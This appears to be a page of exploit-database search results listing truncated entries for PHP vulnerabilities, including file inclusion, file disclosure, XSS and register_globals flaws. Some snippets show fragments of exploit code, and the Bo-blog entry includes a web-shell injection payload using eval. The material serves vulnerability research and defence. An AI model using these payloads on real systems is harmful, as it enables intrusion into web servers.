743 matches found
STWC-Counter <= 3.4.0 (downloadcounter.php) RFI Exploit
No description provided by source. ?php //File Inclusion Exploit for Version STWC-Counter = 3.4.0.0 //Found and Exploit Coded by burncycle - burncycleathotmaildotde //| //Vendor: http://www.stwc-counter.de/ //Dork: www.stwc-counter.de //| //Bug in "downloadcounter.php": //.. //$stwcverzeichniss =...
STWC-Counter <= 3.4.0 (downloadcounter.php) RFI Exploit
No description provided by source. ?php //File Inclusion Exploit for Version STWC-Counter = 3.4.0.0 //Found and Exploit Coded by burncycle - burncycleathotmaildotde //| //Vendor: http://www.stwc-counter.de/ //Dork: www.stwc-counter.de //| //Bug in "downloadcounter.php": //.. //$stwcverzeichniss =...
php session extension global variable clobber
PHP 4 before 4.4.5, and PHP 5 before 5.2.1, when registerglobals is enabled, allows context-dependent attackers to execute arbitrary code via deserialization of session data, which overwrites arbitrary global variables, as demonstrated by calling sessiondecode on a string beginning with...
php session extension global variable clobber
PHP 4 before 4.4.5, and PHP 5 before 5.2.1, when registerglobals is enabled, allows context-dependent attackers to execute arbitrary code via deserialization of session data, which overwrites arbitrary global variables, as demonstrated by calling sessiondecode on a string beginning with...
security flaw
Unspecified vulnerability in PHP before 5.2.1 allows attackers to "clobber" certain super-global variables via unspecified vectors...
php session extension global variable clobber
PHP 4 before 4.4.5, and PHP 5 before 5.2.1, when registerglobals is enabled, allows context-dependent attackers to execute arbitrary code via deserialization of session data, which overwrites arbitrary global variables, as demonstrated by calling sessiondecode on a string beginning with...
CVE-2007-0677
PHP remote file inclusion vulnerability in fw/class.QuickConfigBrowser.php in Cadre PHP Framework 20020724 allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSconfigframeworkpath parameter...
CVE-2006-6957
Docebo 3.0.3 and earlier are affected by PHP remote file inclusion via the Docebo GLOBALS vulnerability. When PHP register_globals is enabled, an attacker can cause arbitrary PHP code execution by passing a URL through the GLOBALS[where_framework] parameter (and variants via GLOBALS[where_cms] in...
Webfwlog 0.92 - debug.php Remote File Disclosure
Webfwlog 0.92 - debug.php Remote File Disclosure ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz + D.Scrpit:http://webfwlog.sourceforge.net/...
Webfwlog <= 0.92 (debug.php) Remote File Disclosure Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz + D.Scrpit:http://webfwlog.sourceforge.net/...
Upload Service 1.0 (top.php maindir) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ======================================================================== Upload Service 1.0 top.php maindir Remote File Inclusion Vulnerability ========================================================================...
CVE-2006-6487
Cross-site scripting XSS vulnerability in index.php in DT Guestbook dtguestbook 1.0f, when registerglobals is enabled, allows remote attackers to inject arbitrary web script or HTML via the error parameter...
Directory traversal
Directory traversal vulnerability in index.php in L2J Statistik Script 0.09 and earlier, when registerglobals is enabled and magicquotes is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the page parameter, as demonstrated by injecting PHP...
L2J Statistik Script <= 0.09 (index.php page) Local File Include Exploit
No description provided by source. ? print ' | \ | \ \ / | | | | | | | \ \ \ / \ \ | \ \ / \ | \ | | | / \ | \ \ \ / / | | | | | | | | | | ||/ // |./ |/\ ./ |/ ||...
Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability
No description provided by source. +------------------------------------------------------------------------------------------- + Aratix = 0.2.2b11 inc/init.inc.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- +...
Aratix 0.2.2b11 - '/inc/init.inc.php' Remote File Inclusion
+------------------------------------------------------------------------------------------- + Aratix +------------------------------------------------------------------------------------------- + Details: + Aratix inc/init.inc.php does not initialize the $currentpath variable before using it to ...
3editor CMS 0.42 - 'index.php' Local File Inclusion
script Name: 3editor CMS index.php Local File Include Exploit Download:http://www.matteolucarelli.net/3editor/index.htm Author : Dr Max Virus Contact :[email protected] Bug & Problem In file index.php Let's Take a look; if !isset$GET'page' include'phplib/treeedit.php'; else...
CVE-2006-6633
PHP remote file inclusion vulnerability in include/yapbbsession.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSincludeBit parameter...
PHP-Proxima BB_Smilies.PHP本地文件包含漏洞
PHP-Proxima是一款基于PHP的WEB应用程序。 PHP-Proxima不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限查看系统文件内容。 问题是由于'BBSmilies.PHP'脚本对用户提交的'name'参数缺少过滤，提交包含多个"../"字符作为参数数据，可绕过WEB ROOT限制，以WEB进程权限查看系统文件内容。 PHP-Proxima 6.0 http://sourceforge.net/projects/phpproxima !/usr/bin/php -q -d shortopentag=on ? $devilteam = " :::::::...
Exploit For Last Bo-blog version
No description provided by source. ? iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; $data ='nowonline=?php @eval$REQUESTorz;echo orz;die;?&1468108794=orz&-1844564458=orz'; $server =$argv1; $sitepath =$argv2; if$argc!=3 hr; echo" Uaget: boblog.php www.defence80.com /blog/\r\n"; echo" ...